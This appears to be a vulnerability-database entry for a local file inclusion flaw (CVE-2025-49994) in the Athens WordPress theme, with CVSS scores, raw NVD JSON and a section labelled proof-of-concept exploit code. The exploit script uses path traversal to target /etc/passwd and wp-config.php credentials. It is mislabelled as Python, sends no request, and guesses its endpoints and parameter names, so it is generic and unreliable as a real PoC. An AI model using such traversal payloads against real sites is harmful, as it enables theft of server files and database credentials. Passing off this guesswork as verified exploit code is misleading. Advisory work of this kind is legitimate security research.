Security Vulnerability Report
中文
CVE-2025-49994 CVSS 8.1 HIGH

CVE-2025-49994

Published: 2026-01-22 17:15:57
Last Modified: 2026-04-27 20:16:19

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ovatheme Athens athens allows PHP Local File Inclusion.This issue affects Athens: from n/a through <= 1.1.6.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ovatheme Athens WordPress主题 <= 1.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-49994 PoC - Athens Theme Local File Inclusion * Target: ovatheme Athens WordPress Theme <= 1.1.6 * Vulnerability: Improper Control of Filename for Include/Require Statement * * Usage: Modify target URL and file path as needed * Example file paths to read: * - /etc/passwd * - /var/www/html/wp-config.php * - C:\\xampp\\htdocs\\wp-config.php */ $target = 'http://target-site.com/'; $file_to_read = '../../../../../../../../etc/passwd'; // Method 1: Direct parameter injection via GET request $poc_url = $target . '?file=' . urlencode($file_to_read); echo "PoC URL: " . $poc_url . "\n"; // Method 2: POST request with file parameter $poc_data = [ 'file' => $file_to_read, 'action' => 'load' ]; // Common vulnerable endpoints in WordPress themes $vulnerable_endpoints = [ $target . 'wp-content/themes/athens/inc/template-functions.php', $target . 'wp-content/themes/athens/inc/template-tags.php', $target . 'wp-content/themes/athens/functions.php' ]; echo "\nPossible vulnerable endpoints:\n"; foreach ($vulnerable_endpoints as $endpoint) { echo " - " . $endpoint . "\n"; } echo "\nNote: The actual vulnerable parameter name may vary.\n"; echo "Check for parameters like 'file', 'template', 'page', 'style', 'script', etc.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49994", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:56.527", "lastModified": "2026-04-27T20:16:19.453", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ovatheme Athens athens allows PHP Local File Inclusion.This issue affects Athens: from n/a through <= 1.1.6."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la sentencia include/require en un programa PHP, la vulnerabilidad 'inclusión remota de ficheros PHP', en ovatheme Athens athens permite la inclusión local de ficheros PHP. Este problema afecta a Athens: desde n/a hasta &lt;= 1.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/athens/vulnerability/wordpress-athens-theme-1-1-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}